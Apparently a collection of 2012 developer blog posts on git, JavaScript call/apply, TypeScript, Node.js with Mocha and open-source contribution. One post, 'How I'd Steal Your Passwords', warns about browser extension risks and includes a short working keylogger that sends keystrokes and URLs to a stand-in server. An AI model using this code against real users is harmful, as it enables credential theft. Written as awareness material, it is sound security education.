The idea is that is doesn’t take much to have a significant impact on a project relative to the number of users, because there aren’t many people with three or more commits in most projects and the issue count is representative of the number of users of a project who care about making it better.

Three commits isn’t much; it’s roughly comparable to three issues. In large projects, there are a lot of issues.

I looked at jQuery, Bootstrap, the HTML5 Boilerplate, Backbone, Node, Express and jQuery UI. I would guess that you’ve used at least one of those.

Here’s the raw results:

Project	Contributors (3+ commits)	Issues	Ratio
	Mean: 42		Mean: 1.29%
jquery	49	12800	0.38%
bootstrap	34	5664	0.60%
h5bp	31	1240	2.50%
backbone	33	1770	1.86%
node	100+	4199	2.38%
express	12	1390	0.86%
jquery-ui	36	8750	0.41%

Numbers correct a few days before going to… screen?

The number on the right, the ratio, shows that, on average, about 1.3% of users who cared enough about a project actually spent time contributing. Think how many actual users there are of jQuery. If I had been comparing contributors to users, the ratio would have been tiny.

My point here is that it really doesn’t take much to make an impact on something a big like jQuery; even less to affect something small.

It might not be best to jump straight into a big project, but I would never discourage anyone. My suggestion would be to pick something small and work up. You can learn alot at that scale too.

And consider this: have a look around for a small or brand new project from someone you know, and try it out. Find bugs and submit them back. Share the project with others. They will really appreciate it.

> Just so you know, if you did that for one of my projects, it would make my week.

The takaway is that if there’s an open source tool, library or project that you use every day and you think could be better, go make it so.

Humans cannot work together on the same scale as ants do, but in smaller groups we can be highly effective in building things that have a much wider impact, the outcome of which is greater than the sum of the parts.

Code, tools and projects that anyone and everyone with internet access can contribute to is one of the greatest things humans have done with the internet, and it’s still very possible to have an impact.

You can, right now, go and make a change to something that potentially millions of other people use every day.

A git workflow

2012-11-05T08:00:00+00:00

This post is about how I personally work with git. There are a actually a million different possible git workflows, and I’d recommend playing with a few till you find something you like.

My workflow is very similar to, and is based on, Scott Chacon’s Github Workflow. Obviously it works well with github, so collaboration with others is easy, but it’s also designed for a tight feedback-loop using many, cheap, branches and merging often.

Workflow

Here’s the general idea:

The master branch is always deployable
Always work on a branch
Commit often and regularly push your work to the same named branch on the server
When your work is ready, open a pull request and have someone else review it before merging into master
Use pull requests for feedback and help, not just for features to be merged into master
Deploy from master often
Use a feature/fix/task/try naming convention

Naming

The branch naming convention is helpful for others to understand what you’re working on, and helps you keep organised. A branch called fix/cats-in-profile-pictures is very different to feature/cats-in-profile-pictures. If you know you’ve got to do something, but it’s not new, use task/, and if you’re just trying something out, use try/.

Other thoughts

Branches are cheap. In SVN, branching and merging is painful and so is avoided, but in git it’s trivial. Use them often and throw them away often. A try/ branch can easily become a feature/ branch.

Git is as useful for personal projects as it is for collaboration: using git from the start on your own stuff (even if it’s never meant for the light of day) makes it easy for others to collaborate down the line.

I hope this helps you figure out the right git workflow for you – let me know if you have any ideas or suggestions.

useful js: call & apply

2012-11-02T08:00:00+00:00

Javascript’s call and apply are two mysterious functions that can be difficult to understand, but it’s worth taking the time to learn about them becuase they’re ver useful. They’re also very similar, but with one subtle but important difference.

call

call, or more properly, Function.call, is a property of all Javascript functions.

It allows you to run a function and define what the value of this will be inside the function, and also supply arguments to the function you are running. For example:


var log_this = function () {
  console.log(this);
};

// This will log the default 'this' object.
// In a browser, that's the 'window'.
log_this();


// Now we create an object that we will use as 'this'
var thing = {
  name: 'Big Hairy Thing'
};

// This will log the 'thing' created above, because
// using 'call' ensures that 'this' within log_this
// is the 'thing', not the default 'this' (window).
log_this.call(thing);

Any other arguments you pass to call are passed to the function you are calling as its arguments. Like so:


var log_this_and_message = function (message) {
  console.log(this, message);
};

var thing = {
  name: 'Big Hairy Thing'
};

log_this_and_message.call(thing, 'Hello!');

Neato, eh?

apply

apply is very similar, and can be run on any functions. It runs your function, and the first argument you pass is the same as in call: it will become the value of this.

The difference is that you don’t pass the other arguments individually, you pass them as an array.

Here’s the example above using apply:


var log_this_and_message = function (message) {
  console.log(this, message);
};

// Now we create an object that we will use as 'this'
var thing = {
  name: 'Big Hairy Thing'
};

log_this_and_message.apply(thing, ['Hello!']);

See the difference? It’s subtle, but important.

In use

Here’s some great uses for call and apply…

arguments

Did you know that the arguments variable inside all functions is not actually an array? That means you can’t use all the nice array methods like pop, push and slice on it! If you want to turn arguments into an array, use call:


var args = [].slice.call(arguments, 0);

Here we’re using the slice method of an empty array.

slice copies elements out of one array and returns them as a new array. It starts at the index you supply in the first argument and finishes one before the index you supply in the second argument, or it goes all the way to the end if you don’t supply a second argument.

slice copies elements out of whatever object this refers to. Usually, inside slice, the value of this is the array we are calling slice on. In the above example, that would be the empty array. However, becase we are using call, this is in fact the array-like object arguments. slice copies each element out of arguments into a real array and returns it.

Nice.

Log it all

Let’s say you’re passing a callback to someone else’s library and you’re expecting data back, but you don’t know how many arguments you’re going to get. There’s a simple trick to allow you to console.log everything that’s passed to your callback.


var args = [].slice.call(arguments, 0);
console.log.apply(console, args);

Becuase apply takes an array of arguments to be passed to the function, you can sling it the array of arguments you recieved and have them logged out, all nicely formatted.

Note: you could actually just pass arguments as the second argument to apply, becuase it’s ‘array-like’ enough, but for now we’ll play it safe.

pub/sub

Here’s a bigger example.

I’ve put together a publisher/subscriber object called pubsub. It uses call and apply to implement some neat features. Take some time to run it, look through it and have a play.

Enjoy!


/*
the pubsub is a publisher/subscriber system to demonstrate use of Function.call and Function.apply.
http://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern
*/

var pubsub = {};

/*
pubsub.subscribers is an object where each key is an event and each value is an array of callback functions associated with a particular event.
*/

pubsub.subscribers = {
  'some_event': [
    function () { console.log("some_event occured!"); }
  ]
};

/*
pubsub.publish calls all the callbacks associated with a particular event (the first argument), passing each callback any further arguments supplied to publish.
*/

pubsub.publish = function () {
  // arguments is not an array.
  // use `[].slice.call` to turn it into a proper one.
  // See: http://s.phuu.net/SiRS7W
  var args = [].slice.call(arguments, 0);
  
  // pull the event off the front of the array of arguments.
  var event = args.shift();
  
  // If we have no subscribers to this event, initialise it.
  // Note, we could just return here.
  if( !pubsub.subscribers[event] ) pubsub.subscribers[event] = [];
  
  // Run through all the subscriber callbacks to the event and
  // fire them using `apply`. This runs the cb with a set of
  // arguments from the args array.
  // See: http://s.phuu.net/SiSkTC
  pubsub.subscribers[event].forEach(function (cb) {
    cb.apply(this, args);
  });
};

/*
pubsub.subscribe adds callbacks to the list associated with an event.
*/

pubsub.subscribe = function (event, cb) {
  // first, if this is a new event, set up a new list in the 
  // subscribers object.
  if( !pubsub.subscribers[event] ) {
    pubsub.subscribers[event] = [];
  }
  // next, push the supplied callback into the list to be 
  // called when the object is published
  pubsub.subscribers[event].push(cb);
};

// Example use:

pubsub.publish('some_event');

pubsub.subscribe('say_hello', function (name) {
  console.log('Hello, ' + name);
});

pubsub.subscribe('say_goodbye', function (name) {
  console.log('Goodbye, ' + name);
});

pubsub.subscribe('poke', function (name) {
  console.log(name + " was poked.");
});

pubsub.publish('say_hello', 'Tom');
pubsub.publish('poke', 'Paul');
pubsub.publish('say_goodbye', 'Mr Fish');

Once again, thanks for reading.

Life Update

2012-10-06T16:00:00+01:00

Times, they are a-changin’.

I’ve moved to Brighton, postponing the second year of a Computer Science degree at Cardiff University. I’ll be working for Remy Sharp at LeftLogic building all kinds of real-time-y, mobile-y, Javascript-y stuff. My dream job.

Look out for big stuff to come.

A Fresh Look

2012-10-02T15:00:00+01:00

Hope you like it! I know it’ll develop and change over time.

I found with the last design that I was constrained by the grid, so this one does away with it. Here’s are my original goals for this remake; you can decide how many I achieved. There are other, technical, goals that I’ll go for as I iterate.

Focus

Just posts. No work, no play (no about?)

UX

Blog should be easier to read & paginated
Permalinks more obvious & clickable
Better prev/next links (with title?)
Long & short form visually distinct?

Enjoy!

I’m pleased with the reading experience, although mobile perhaps needs some work. Code now has much more space, which means I’ll be much more liberal with code examples – I was feeling constrained by that too.

Overall, I hope you like it, and do let me know what you think on app.net or Twitter.

A Quick Intro to TypeScript

2012-10-02T01:00:00+01:00

I followed my own advice and tried TypeScript.

First, a disclaimer. Though I have not been playing with it for long, I found the documentation pretty dense so I thought I’d write up what I’ve found so far in the hope that it saves you some time. Use at your own risk.

WTF is TypeScript?

In Microsoft’s own words…

TypeScript is a language for application-scale JavaScript development. TypeScript is a typed superset of JavaScript that compiles to plain JavaScript. Any browser. Any host. Any OS. Open Source.

A bit dramatic and emo, but that’s OK. Microsoft’s a pretty young, small company and they’ll learn.

Basically, it’s a superset of the Javscript you know and love. Technically, it’s a superset of ECMAScript 5 (ES5) syntax (and no, that’s not a skin disease).

TypeScript adds optional static typing, and includes some of the proposed specification for ECMAScript 6 (ES6) that’s being worked on in a dungeon somewhere. Basically, that means classes and modules.

That means that every Javascript program is also a TypeScript program, but not the other way, which is good becuase a TypeScript program will generally compile to less Javascript. Cough.

Some others have opinions. To see this stuff for yourself, have a gander at Microsoft’s Specification PDF.

Anyway, let’s dive in.

Installing

Bish, bash, bosh:

npm install -g typescript

This adds tsc to your shell, and you’ll use it to compile .ts files.

I’ve been doing it like this, to make Node run the compiled output:

tsc index.ts && node index

Now let’s write some code…

Object types

In Javascript we often chuck around objects containing strings, numbers and functions, but the situation often arises when a property is missing from an object. Wouldn’t it be nice to have an automatic sanity check that an object had the right properties?

TypeScript adds functionality to do this.

The first part, called an object type, allows us to specify the structure of an object before we create it. A named object type is called an interface.


interface Person {
  name: string;
  age?: number; // optional
  greeting: () => string;
}

Now TypeScript knows how a Person object should look. Then, when we define such an object, we can make sure that we are conforming.


var tom: Person = {
  name: "Tom",
  age: 19,
  greeting: function () {
    return 'Hello!';
  }
};

var tom: Person indicates that tom must conform to our specification above. But, if we don’t conform…


var tom: Person = {
  name: "Tom",
  says: function () {
    return 'Uh oh!';
  }
};

TypeScript throws us a handy error…

Cannot convert '{ name: string; says: () => string; }' to 'Person': Type '{ name: string; says: () => string; }' is missing property 'greeting' from type 'Person'

Function Types

The second part of ensuring an object, passed as an argument, will has the correct properties is a really neat feature of TypeScript called a function type.

Kinda like object types, function types are for specifying the signature of a function, similar(-ish) to functional languages like Haskell.

For example, if we wanted to create a function to that simulated prodding an aformentioned ‘Person’ then we could specify the function type to make sure that it was always passed a Person to prod.


var prod: (person: Person) => string;

The above ensures that the argument passed to prod is a Person, and that the return type from prod is a string. When we actually create the prod function, we can be a bit more confident of the outcome.


prod = function(person) {
  return person.name + " said " +
         person.greeting();
}

It’s worth noting that this can all be done in one go too:


var prod:
  (person: Person) => string =
  function(person) {
    return person.name + " said " +
           person.greeting();
  }

Much more to learn

There’s a whole lot more the TypeScript that I have yet to explore, but I just thought I’d put together a quick intro for anyone wondering.

Of course, the object and function types above don’t replace regular runtime checks, but they definitely could be a great way of catching errors before they get run.

Try Something New

2012-10-01T14:00:00+01:00

I’m really interested in the idea of specialism and choosing the right tool for the job, because it frustrates me when I hear, ”I’m a PHP developer” or, “Ruby is better than Python”. These languages are simply tools that we have available to do our jobs. You might know one tool better than another, as a builder or painter might, but surely you should always pick the best tool for the job?

I want to persuade you to try something new.

Languages, in the computing sense, are simply a syntax and grammar, a set of rules, for expressing ideas in a way a computer can read and execute, while also (hopefully) being human readable. At their essence they are all translated (compiled or interpreted) into ones and zeros.

Essentially languages don’t make a difference, except that in higher-level languages (that is, PHP, Python, Ruby, JavaScript etc) there are generally more ones and zeros generated per single instruction, which (generally) equates to slower running speed. This isn’t always the case, as some translation tools do a good job of optimising the translated code, like a good translator of human languages. When you’re writing C, C++ or Assembler you are much closer to “the metal” and can expect increased performance at the expense of concise and expressive code.

What’s important is that languages, by their nature, lend themselves to specific tasks and uses, just like real life languages. For example, traditional Chinese is extremely difficult to type because the words are not based on an alphabet of discrete characters but on unique combinations of strokes to form a whole word in one character. Conversely,the Indo-European family of languages are much better for typing, although this is is most likely because the concept of typing was invented by users of an alphabet. Who knows what we’d have if the Chinese had invented typing like they did writing?

In trying a different language, you may find a tool that will serve you well on a current or future project, and may even enable things that were otherwise impossible.

It will also give you a deeper understanding of programming as a whole; you’ll see similarities between languages, and better understand why there are differences in the first place.

The best part is that it only requires a small time investment. There are now many ‘tryX.org’ sites and they are great for walking through the basics in a friendly environment.

Here’s a select few to get you started:

Ruby: tryruby.org
Python: trypython.org
Haskell: tryhaskell.org
Erlang: tryerlang.org
Clojure: tryclj.com

What are you waiting for? Go try something new!

How I'd Steal Your Passwords

2012-09-24T22:00:00+01:00

This post is a bit of fun, but also a word of warning about security and being aware of what you install.

I’ve built browser extensions for Chrome, Firefox and Safari. As I was doing so, exploring the APIs and what was possible, I started to realise how scarily powerful extensions are. I’d like to go through what they might really be capable of, and ask, how careful do we need to be when installing extensions?

Update: I’d just like to make it clear that the following is applicable to any extension – I’m not insinuating anything about any one extension.

This is the story of how I would steal your passwords.

Browser extensions

Let me just explain a bit about extensions…

Extensions are essentially two parts: a background page (or script) with access to browser APIs, and a content script that is injected into a page. The content script has access to a port for communicating with the background page, and it’s normally run in a sandbox but with access to the same DOM.

Background pages and content scripts are reasonably well hidden from the user – you’d have to know your way around the developer tools in Chrome to find them.

Extensions also have some kind of configuration file: in Chrome it’s a manifest.json; Safari it’s Info.plist; package.json in Firefox.

Things are roughly the same across all browsers and, while I’ve built extensions for all the big three, this post focuses on Chrome. Firefox may actually be the most powerfully frightening, but I haven’t explored the opportunities there well enough yet.

So, to steal your passwords, I’d use a Chrome extension.

Step 1

Build an extension.

For this post, I’ve modified an existing extension. It’s heavily reliant on content scripts, but reasonably complex on the background page side to.

Step 2

Get people to install it. Otherwise, who’s passwords am I going to steal?

Oh and don’t worry, there doesn’t have to be malicious code there just yet because, once it’s installed, the fun begins.

Step 3

????

Step 3 (really)

Add a keylogger to your extension.

Yep, it’s that simple. With simple use of content scripts and the background page, it’s trivial to set up a keylogger that records the user’s keystrokes and the page they were on when they entered them.

Step 4

Profit!

Of course.

Here’s how it works…

I’ll go through how I’d do it in my case, with the extension that I used to build a proof of concept, just to give you an idea. As mentioned before, this is applicable to any extension, not just this one. I don’t have the ability to deploy the extension I’m using, so I couldn’t actually cause damage with this!

The server

First, I’ve set up a very simple server using Node. It listens for data sent from a browser containing the key that was pressed and the page the user was on. This data is simply stored for retrieval later.

The extension

The changes to the content script are scarily small. Please note that this code is intended as an example and not for reference – you can’t just drop it in.

Content script

The first change is the key logger. I’ve added a few lines to a hotkey content script.


document.addEventListener(
  'keypress',
  function (ev) {
    xt.port.emit('key', {
      keyCode: ev.keyCode,
      url: document.location.href
    });
  },
  true
);

I’ve wrapped the communication port between content script and background page inside xt.port; it’s just sending the key data and the page url on every key press.

Background page

The change in the background page involves listening for a key message, before passing it on to the listening server using jQuery’s $.post method.


port.on("key", function (data) {
  $.post(
    'https://my_server.com/evil/',
    JSON.stringify(data)
  );
});

That’s it

Yeah, that’s all there is to it. You type something, like your password, the content script picks it up, passes it to the background page which sends in on to a remote server.

The key logger can get data from HTTP and HTTPS sites if you specify so in your manifest, so even your bank website isn’t safe.

That’s not all

This isn’t everything that’s possible because we’ve got access to the whole DOM. To see why this is dangerous, here’s an example: assuming you know what form fields to expect on a bank website, it’s trivial to intercept form submissions and gather bank IDs, answers to security questions, or anything else you fancy.

Examples

Here’s some data I gathered from my bank and Twitter:

Note that both are HTTPs sites.

In case you were wondering, this is the information that users can get about the extension before they install it:

It’s found under the details tab on the Chrome Web Store. I bet you didn’t know it was there.

You also see this message upon clicking install:

Silent updates

It’s worth noting that, once an extension is installed, the updates are silent unless you change what the extension has access to. So, assuming you’ve got people to install it, adding this code to an existing extension is simple and silent.

Conclusion

Overall, be careful what you install. I’m suggesting that the whole extension system has the potential to be very dangerous. It goes without saying that diligence when installing anything is important, but my point here is that you might not have thought about browser extensions in this way. I hope you now will.

Footnotes

I gave this as a talk at LeamJS September 2012. I’d be interested in giving it again, so get in touch if you’re looking for a speaker.

A quick disclaimer: I have never made use, and do not intend to make use, of the contents of this post for malicious activity. I take no responsibility for any damage caused by anyone else as a result of this post. If you steal passwords or other data, on your head be it.

An earlier version of this post explicitly mentioned an extension. Its use here was entirely coincidental and the contents of the post have no relation to the security of that extension.

Node.js in Real Life: Part 3

2012-09-24T10:00:00+01:00

Let’s take another look at using Node in real-life, on an actual product. In this series of tutorials we’ll go through designing, building and deploying a real application built on Node.

This is part 3. Read part 1 or part 2.

The app

We’ll begin by taking a closer look at the structure of the app to get a better idea of what exactly we’ll be building. This is, roughly, how I think when working on something new. It may not be the same for you, and I’d be interested to hear your viewpoint if you do things differently.

Here’s the description from part 1 to get us started:

We’re going to make an application for conference goers, or visitors to any event, that will help them see where others at the event are. We’ll allow users to create an event by associating a location with a hashtag, and then allow others to use that hashtag to see themselves, and others using the same hashtag, on a map.

I’ve highlighted some important parts that are worth taking note of. They’re all nouns or verbs, so lets do a simple breakdown of obvious entities and processes within the app. The nouns are bold, the verbs are italicised.

A user can create a hashtag by associating it with a location. The hashtag acts like an id for an event.
This combination we will call an event.
A user can view an event using the hashtag.
This places them on a map for others to see.

Immediately we can see what the important parts of, and concepts within, the app. We can expect that the create hashtag process and the view screen will the most used, probably the latter more than the former.

Within our app we will have the concept of a user, a hashtag, an event. The map will be important to the front end, not the server, becuase the server doesn’t care about the view implementation.

Great, I think we can start writing code. Or, more specifically, tests…

The board is set, the pieces are moving

The first entity we’ll work on is the event, the fundamental unit within our app. We can almost think of the event as a model in an MVC-style framework – when using events, we shouldn’t have to care about the implementation, they should look after themselves.

I find it useful to design something by first creating the ideal interface through which we’d use it. Then, as I build, I’ll keep coming back to this ‘sketched’ interface to refine it according to what I’ve learnt by building it.

This can be code or a UI – in the case of code, I like opening a blank text file and just writing out how I’d like to use something. Like this…


// get an event by hashtag
events.get('leampack');

// an event
{
  hashtag: 'leampack'
, location: {
    lat: -52
  , lng: 1
  }
, created_at: 'some date'
  // perhaps...
, ends_at: 'other date'
, author: {
    // user data
  }
}

// new event
events.add({
  // event data as above
});

This kind of code sketch really helps me think through what I’m doing, and clears out some initial cruft. I guess you’d called this API-driven design. I’ve probably nicked it from somewhere, let me know if I have!

Now we can write some tests to begin work on this part of the app.

Tests

I’ve created a new file, test/events-test.js. It’s best to keep tests for different functionality in separate files so that they can easily be tested in isolation. It’s also much easier to manage.

I like a BDD (Behaviour Driven Development) flavour of testing. It may not be your cup of tea, but indulge me for the time being, eh? BDD-style tests don’t come built into Mocha, you have to install another module called should.js.

npm install should

We can then require this module for some very readable tests!


// test/events-test.js

var should = require('should');

describe('events', function () {

  it('should exist', function () {
    should.exist(events);
  });

});

Since Mocha runs all files in the test/ directory, looking for tests, running mocha from our eventpack directory should show you that this test is failing. That’s good, let’s make it pass.


var should = require('should')
  , events = {};

Try running mocha again. Yay! It passes.

Reporters

Mocha has a few different ways of displaying tests, called reporters. The default, dot, is pretty boring. I prefer the spec reporter. To make Mocha use this reporter, run it like this:

mocha -R spec

Great!

Further functionality

Obviously, our events object is not doing anything. According to the sketch we did earlier, the first bit of functionality is that events.get('leampack') will return an event object, so that’s the next thing we’ll work

This is where the code samples become a little more involved. I’d recommend following along inside the file. I’ll provide some important bits of code, but really you can only see the full thing in the actual file.


. . .

// events.get('leampack')
it('should return leampack', function () {

  var event = events.get('leampack');

  // Does it actually return data?
  events.should.be.a('object');

  // Is it equivalent to our code sketch?
  event.should
    .have.property('hashtag');
  event.should
    .have.property('location');
  event.should
    .have.property('created_at');

  // Check the data
  event.hashtag.should
    .equal('leampack');
  event.location.should
    .have.property('lat');
  event.location.lat.should
    .equal(-52);
  event.location.should
    .have.property('lng');
  event.location.lng.should
    .equal(1);
  event.created_at
    .should.equal('some date');

});

. . .

Of course, Mocha will tell you this is failing. We’ll work through the errors one at a time.

TypeError: Object #<Object> has no method 'get'

Right now events is just an empty object, devoid of properties and methods, soul and swing. And remember, it don’t mean thing if it ain’t got that swing.

The first thing to do is to move events into another file. I’m going to put all our entity files in a folder called entity, so we can require them from other files. The first is entity/events.js.

Initially this file will look like this:


/**
 * Events
 */

/**
 * get returns an event associated with
 * a particular hashtag.
 *
 * The hashtag argument is a string.
 *
 * Returns an event object.
 */
exports.get = function () {
  return {};
};

We should update our test file to require events from this location. Note that it’s relative to the current file, unlike when we’re requiring Node modules.


var should = require('should')
  , events = require('../entity/events');

Running Mocha again, you should notice that the error is now different. Excellent, we’ve passed part of the test. The next bits are easy to remedy.


exports.get = function () {
  return {
    hashtag: 'leampack'
  , location: {
      lat: -52
    , lng: 1
    }
  , created_at: 'some date'
  };
};

We’ve just made events.get return the exact data from our code sketch.

About (T|B)DD

If you’re not used this way of doing test-driven development, you might think this is cheating. After all, we can’t write an app that returns hard coded data!

You’re right, we can’t, but this is all part of the plan. Write a test, write just enough code to pass it, then write a new test.

Right now we have enough code to pass our tests and no more. Aside from the code that express auto-generated, we’ve got more test code than app code. That’s a nice way for things to be.

This style of testing is called unit testing, so called becuase you are testing one small piece of functionality or ‘unit’. In a unit test, the test is designed to ensure that a specific unit works the way you expect, in isolation.

Over and out

So that’s enough for this part. We’ve covered our app in detail, unit modularity in Node, unit testing, Mocha reporters and got 2 passing tests! Nice work.

As ever, if you have any problems or questions just let me know in the comments, and if you want to tweet about this series, please consider using the hashtag #nodeirl!

Thanks for reading.

Help Needed

2012-09-17T17:00:00+01:00

I’m working on improving Twapp, my App.net to Twitter cross-posting tool, by attempting to built a comprehensive set of unit tests to ensure that any new functionality I add doesn’t break what’s there already. But I’m having difficulty actually doing it.

Let me tell you what it does, and hopefully you’ll see the problem.

On App.net, you have 256 characters with which to play. On Twitter, in case you’ve been living under a rock, you have 140. At it’s most basic, Twapp does this:

if the post is longer than 140, truncate it at 139 characters, add ‘…’ and be done with it.

But it’s not that simple.

What if you want to add a link to the post on alpha.app.net if it’s too long? That’s ok, as long as you work around Twitter wrapping every single link in t.co (so all links are 20 characters. Ish.).

Ok, but what if you want to add a hashtag to the end of every cross-posted tweet? Here’s where the problems start.

For example, if the hashtag is ‘#adn’ you have to account for 5 extra characters on the end of the post. Initially you might have enough room (eg, a post of 136 characters), so no link would need to be added, but as soon as the hashtag goes in there it’s suddenly 141 and you need the link. And since you’re also adding ‘…’ when the post is cut off, you need to account for this too. So it’s 143, and you need to truncate the post text down to 133.

And of course, you don’t always want the ‘…’ becuase a post may not be too long even with the hashtag on the end.

It becomes a problem when you consider that links may also appear anywhere in the post. Since these are always going to be made 20-ish characters long, we have to account for them too (and remember, links can be longer and shorter than 20 characters).

It then becomes extremely difficult to write an algorithm to ensure what comes out it a well formed tweet.

The thing is, I have code for it and it works reasonably well. It’s not perfect, but it works. I haven’t quite explained everything here (like username conversion), but I hope you get my dript.

But now I want to add features. It seems, though, that I’m at a serious risk of breaking everything.

So I need to test the functions that do this transformation, but I have no idea how. There’s more than 64 permutations of Twapp’s settings, and 110,000^256 different possible App.net posts, otherwise known as infinity.

I know I don’t have to worry about 99% of them (although 1% of infinity is still infinity, right?), but I don’t know how to identify the ones I do need to worry about, and I don’t know how to test this functionality with any level of confidence.

If you have any experience of doing, and testing, the same thing, or can point me in the direction of someone who does, please get in touch. I’d really appreciate the help!

Thanks for reading.

Node.js In Real Life: Part 2

2012-09-14T17:00:00+01:00

Let’s take another look at using Node in real-life, on an actual product. In this series of tutorials we’ll go through designing, building and deploying a real application built on Node.

This is part 2. Read part 1.

Do the Node

Before I get into making Node do stuff, we need to talk about Node itself. What’s different about it, and when should you use it?

If you know the difference between blocking and non-blocking, and you know what I mean when I say asynchronous and event-loop, you can skip this bit, down to In use.

Blocking vs Non-blocking

Systems built in PHP, Ruby and Python, in the main, do something called ‘blocking’ whenever they have to carry out a request to another resource, like a database or another API.

If you’re using Apache with PHP, for example, Apache will spawn a thread to handle a request from a user, allocating memory that can’t be used by anything else until the response back to the user has finished being sent. This is an expensive operation and is a significant reason why Apache servers crash under high load. The server does not have enough memory to handle so many simultaneous users.

This is called the C10k problem (10 thousand concurrent connections), and it’s something nginx, Node and other tools were written to address.

The opposite of a blocking architecture is what’s called ‘non-blocking’. Non-blocking systems run in an ‘event-loop’, idling quietly until an event occurs, at which point they identify which code to run and, without spawning a new thread, execute it, before returning to an idle state.

This event-driven, or asynchronous, architecture tends to be better because it uses smaller amounts of memory, and because you can, to some degree, predict the memory usage. Why that’s important is way beyond the scope of this already hefty post, so I’ll leave you to look it up.

Right. Back to Node.

You may have heard Node described as, “Javascript on the server”, and that’s true, but saying so fails to capture an important point. Node didn’t have to use Javascript, but Javascript suited Node very well, for a few reasons.

As you may have gathered, Node is non-blocking. But there’s something else that’s non-blocking, and you know all about it: your web browser. It too runs an event-loop (remember those?), responding to events and running associated code. Associating code with an event is often referred to as ‘attaching’, and the code that runs is called an ‘event handler’

For example, you might attach an event handler to a click event on a link. In jQuery, that looks like this:


$('a#mylink').click(function (event) {
  . . .
});

It’s like saying ‘listen for a click event on #mylink, and when it’s clicked, run this function’. The function in this example is known as a callback.

Javascript was designed for this environment and as such has a few very nice language features that make it perfect for code like this. In that example above, we’re actually passing the callback function as an argument to the click method of a jQuery object. The fact that you can easily pass functions as arguments, as if they were data, is the important thing.

Node is very similar to the browser. From nodejs.org, “Node.js uses an event-driven, non-blocking I/O model”. In Node, you listen for Input/Output events like a user connecting, or a database returning data, or a response from an external API.

Node idles in an event loop until an event occurs. It will then run any code associated with that event, and return to idle. Similarly, when you ask for data (from a database, for example), Node dispatches a request to the database, then returns to idle until the database returns the data. Imagine a conversation between the two. Node begins…

“Hey Database, I’d like all the users please.”

”Hey Node, sure thing. I’ll get back to you when I’ve got that.”

Some time later (perhaps after Node’s dealt with 100 people wanting to see your homepage)…

”Hey Node, here’s your users.”

”Thanks Database.”

Then Node goes off and runs the code you specified in the callback.

This is really important important as it allows us to easily create applications that scale to large number of users or to high traffic from a group of users. There are other benefits too, but we’ll get to those soon enough.

In use

So, now we’ve seens how Node’s different, let’s keep on going! We’ll return to the eventpack directory from the last tutorial, and open up app.js in a text editor.

This is the main file and control center for your whole app. It begins by using require (a global method in Node) to important functionality from the express module, from files within the app and from http and path, both part of Node’s standard library.

We then see a load of configuration and initialisation.

Lastly is the good stuff, the routes. With Express, you use app.get to define what happens when a user requests a resource or page within your application. Express matches the requested URI to routes you define and then runs the callback you supply.

routes.index is one such route callback, and it’s defined in routes/index.js. Take a look at that file to see what’s going on.

Here you can see another global Node object, exports. By creating properties on this object you enable others to use those properties, be they attributes or methods. exports is actually synonymous with module.exports, which perhaps explains things better.

When you require a module the variable that you assign the return value of require to takes on the properties of the exports object of the module.

So hopefully you can see how an application takes shape. We’ll set up routes in app.js and write the associated callback in a file in routes/. That’s really all there is to it.

A bit more setup.

Yeah, there’s a bit more to set up still. It’s quick though, don’t worry.

First, git. If you don’t know about git, you should.

The first thing we need to do is add a .gitignore file in the eventpack directory which should contain one line, node_modules. This will stop git from staging the contents of that directory. Why do want that? You’ll find out when we tackle deployment.

Next, back at the command line, we’ll do some commiting.


# Intialise git
$ git init
# Check what's going to be added
$ git status
# Add the untracked files
$ git add .
# Check what's going to be commited
$ git status
# Perform the commit!
$ git commit -m "Initial commit"

Mocha

One last bit. We need to get Mocha set up. Mocha does lots of work for us too. All we need to do is create a test directory and add some files to it. I’ve just made a test.js file.

To try it out, just run mocha.

Obviously we have no tests yet, but we will! I’ve committed this new file too, on a new branch called part-two.

And we’re done

So that’s Part 2 over. I hope it was fun. I’ve pushed my code so far to Github, so check out phuu/node-irl.

Any questions, just hit me up in the comments!

Thanks for reading.

Node.js In Real Life: Part 1

2012-09-13T15:00:00+01:00

Let’s take a look at using Node in real-life, on an actual product. There’s tonnes of “Hello world” examples, but what about practical application for real work?

In a series of tutorials we’ll go through designing, building and deploying a real application built on Node. This is an actual app that I’m intending to release, and you’ll get to see every stage as we go through, warts & all.

The app

So what will we be building?

We’re going to make an application for conference goers, or visitors to any event, that will help them see where others at the event are. We’ll allow users to create an event by associating a location with a hashtag, and then allow others to use that hashtag to see themselves, and others using the same hashtag, on a map.

I’m calling it Eventpack, and I’ve bought the domain eventpack.me. You’ll find out why in a later tutorial ;)

On the server we’ll obviously be using Node, on top of which we’ll utilise ExpressJS. It’s the best web application framework for Node, and will do a shedload of work for us. For Rubyists, it’s like Sinatra; Pythonistas: Pyramid; PHPsters: it’s CodeIgniter-ish.

We’ll also be using Mocha for test-driven development. I have to admit that I’m no TDD master but hopefully I can give you a few tips on testing Node.

As it’s a web app, on the client side we’ll use OpenStreetMap, Leaflet and the Geolocation API, plus HTML(5), LESS and Javascript. jQuery may also make an extrance.

It’ll all be on Github, and I’ll make branches for each post so that it’s easy to follow, and mess around with, each stage. And I’m also totally open to feedback – if you think a design decision is insane then tell me!

Assumptions

I’m assuming that you are proficient in HTML, CSS and know Javascript well enough to understand callbacks & functional scoping. If you don’t (and that’s totally cool), there are some great tutorials.

I’m going to assume you have Node installed, becuase of the wealth of tutorials about out there, but I won’t assume you know anything about Node itself.

If you don’t have it installed, it’s pretty easy on any platform (yep, Windows included). Head to their site. The latest versions will come with npm, the Node Package Manager, so I’ll assume you have that too, but don’t worry, I’ll show you how to use it.

I’m also going assume that you have MongoDB installed & running. They have a great set of Installation Guides, so check them out.

For reference, I’m working on OSX 10.8.1, using Node 0.8.9 with npm 1.1.61. That means, if you’re on Windows, most of the command line stuff will be different. I’m sorry to be unable to support you specifically, but this tutorial is going to be long enough as it is! Also, some of this stuff may be different in the future, but I trust you, dear reader, to figure it out :)

We begin at the beginning

I guess that the most obvious thing to start with would be to get ourselves set up with Node by installing Express and Mocha with npm. This is pretty simple to do, so let’s get started.

npm is the Node Package Manager, and is a great tool for finding, installing and managing packages, or modules, to use in your Node projects. You’ll find it on your command line just by typing npm. As I said, I’m going to assume that it’s working.

There are two ways packages can be installed. The first, and most common, is to install them into the currect directory; this places them in a node_modules directory. Node will look for this directory when you require a module (more on that soon), and each node_modules directory is specific to the current project.

The second way installs the module globally; this is only suitable for some modules, and most will tell you which way to install them. Installing globally allows a module to add other useful functionality, like command line tools, to your computer.

